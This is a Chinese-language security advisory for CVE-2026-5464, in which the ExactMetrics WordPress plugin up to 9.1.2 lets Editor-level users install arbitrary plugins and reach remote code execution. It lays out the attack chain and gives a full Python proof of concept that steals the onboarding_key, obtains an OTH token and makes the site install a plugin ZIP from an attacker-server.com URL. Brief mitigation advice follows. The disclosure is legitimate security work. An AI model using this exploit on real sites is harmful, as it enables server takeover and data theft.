IPBUF安全漏洞报告
English
CVE-2026-5464 CVSS 7.2 高危

CVE-2026-5464 WordPress插件任意插件安装致RCE

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-5464
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ExactMetrics – Google Analytics Dashboard for WordPress

相关标签

RCEWordPressExactMetricsArbitrary Plugin InstallationCVE-2026-54640-day

漏洞概述

WordPress 插件 ExactMetrics – Google Analytics Dashboard 在 9.1.2 及之前版本中存在一个高危漏洞。该漏洞源于插件对授权机制的设计缺陷,允许拥有编辑者及以上权限且被授予仪表盘查看权限的认证用户,利用泄露的临时密钥绕过安全检查。攻击者可以借此漏洞安装并激活来自任意 URL 的恶意插件,进而在受影响的 WordPress 网站服务器上执行任意代码,获取服务器控制权,造成严重的数据泄露或服务瘫痪风险。

技术细节

漏洞的核心在于插件对 'onboarding_key' 的处理不当。具体而言,插件的报告页面会将用于 API 认证的 'onboarding_key' transient 暴露给任何拥有 'exactmetrics_view_dashboard' 权限的用户。攻击者首先需要获取该密钥,随后将其发送至 '/wp-json/exactmetrics/v1/onboarding/connect-url' REST API 端点。该端点在验证密钥后,会返回一个一次性哈希(OTH)令牌。接着,攻击者利用该 OTH 令牌向 'exactmetrics_connect_process' AJAX 端点发起请求。由于该端点完全缺乏权限检查和 Nonce 验证,仅依赖 OTH 令牌作为凭证,且其 'file' 参数未经过滤直接用于下载和安装插件。因此,攻击者只需构造一个包含 WebShell 的恶意 WordPress 插件 ZIP 包并托管在外部服务器,即可诱导目标系统下载并自动激活该插件,从而实现远程代码执行。

攻击链分析

STEP 1
步骤1:获取权限
攻击者获取具有编辑者(Editor)及以上权限,且拥有 'exactmetrics_view_dashboard' 能力的 WordPress 账户凭据。
STEP 2
步骤2:窃取密钥
攻击者登录后台,访问插件报告页面,从页面源码中提取暴露的 'onboarding_key'。
STEP 3
步骤3:获取令牌
利用窃取的 'onboarding_key' 调用 REST API '/wp-json/exactmetrics/v1/onboarding/connect-url',获取一次性哈希(OTH)令牌。
STEP 4
步骤4:执行安装
向 AJAX 端点 'exactmetrics_connect_process' 发送请求,附带 OTH 令牌和恶意插件 ZIP 包的 URL。由于端点缺乏验证,系统将自动下载并安装该插件。
STEP 5
步骤5:获取控制权
恶意插件被自动激活,攻击者通过插件中的后门代码在服务器上执行任意命令,实现完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests import re # Target configuration target_url = "http://target-wordpress.com" login_url = f"{target_url}/wp-login.php" admin_url = f"{target_url}/wp-admin/admin.php?page=exactmetrics_reports" malicious_plugin_url = "http://attacker-server.com/malicious-plugin.zip" # Attacker credentials (Editor role with 'exactmetrics_view_dashboard' capability) username = "editor" password = "password" session = requests.Session() # Step 1: Authenticate print("[*] Logging in...") data = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_url} session.post(login_url, data=data) # Step 2: Get 'onboarding_key' from reports page print("[*] Fetching onboarding_key...") response = session.get(admin_url) # Assuming the key is embedded in JS or HTML var match = re.search(r'"onboarding_key":"([a-zA-Z0-9]+)"', response.text) if not match: print("[-] Could not find onboarding_key") exit(1) onboarding_key = match.group(1) print(f"[+] Found onboarding_key: {onboarding_key}") # Step 3: Get OTH token via REST API print("[*] Requesting OTH token...") api_url = f"{target_url}/wp-json/exactmetrics/v1/onboarding/connect-url" params = {'key': onboarding_key} response = session.get(api_url, params=params) oth_token = response.json().get('oth') # Assuming JSON response print(f"[+] Got OTH token: {oth_token}") # Step 4: Install malicious plugin via AJAX print("[*] Triggering plugin installation...") ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'exactmetrics_connect_process', 'oth': oth_token, 'file': malicious_plugin_url, 'type': 'plugin' } response = session.post(ajax_url, data=payload) print(f"[+] Response: {response.text}") print("[*] Exploit completed. Check if the malicious plugin is active.")

影响范围

ExactMetrics – Google Analytics Dashboard for WordPress <= 9.1.2

防御指南

临时缓解措施
如果暂时无法升级插件,建议撤销非管理员用户的 'exactmetrics_view_dashboard' 权限,或者直接禁用 ExactMetrics 插件直到应用补丁。同时,应检查服务器上是否存在异常的新增插件文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表